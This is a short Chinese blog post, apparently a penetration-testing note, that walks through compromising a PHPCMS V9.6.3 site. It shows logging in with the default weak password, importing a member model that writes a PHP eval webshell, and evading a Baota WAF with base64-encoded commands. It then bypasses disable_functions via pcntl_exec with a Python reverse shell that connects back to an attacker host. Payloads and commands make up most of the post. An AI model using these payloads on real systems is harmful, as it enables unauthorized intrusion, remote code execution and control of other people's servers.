PHPCMS V9.6.3 getshell小记

http://xx.xx.com/index.php?m=admin 进入后台登录界面,弱口令phpcms/phpcms成功登录后台

先将如下payload保存至txt文本中

array(1);$b=file_put_contents("phpcms_shell3.php",'<?php eval($_REQUEST[1]);?>');

在用户 > 会员模型管理 > 管理会员模型 >中点击"添加会员模型":

导入模型添加刚刚创建的txt文本

上传后服务器会报错,但此时已生成phpcm_shell3.php脚本

 

 

 

 

 

 

 

 

 尝试连接webshell发现连接失败

后发现此站点存在宝塔waf

 

但在写入文件时并没有对文件内容进行,怀疑waf只对传递参数进行判断

重新写入shell,尝试将命令采用base64编码格式进行传递

 

 

 

成功获得代码执行权限

发现disable_functions禁用大部分命令执行函数

尝试pcntl_exec突破disable_functions函数限制

将如下代码进行base64编码

pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("x.x.x.x",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

执行代码(虽然服务器返回404,但是命令已执行成功)

反弹shell成功

 

参考链接:https://zhuanlan.zhihu.com/p/60027711(phpcms后台几处getshell)

https://mp.weixin.qq.com/s/xX0Y9KA_LC7dy0zxCDBMJA(waf绕过及disable_functions函数绕过)

posted @ 2020-07-26 19:50  要加油的萌新  阅读(2505)  评论(0编辑  收藏  举报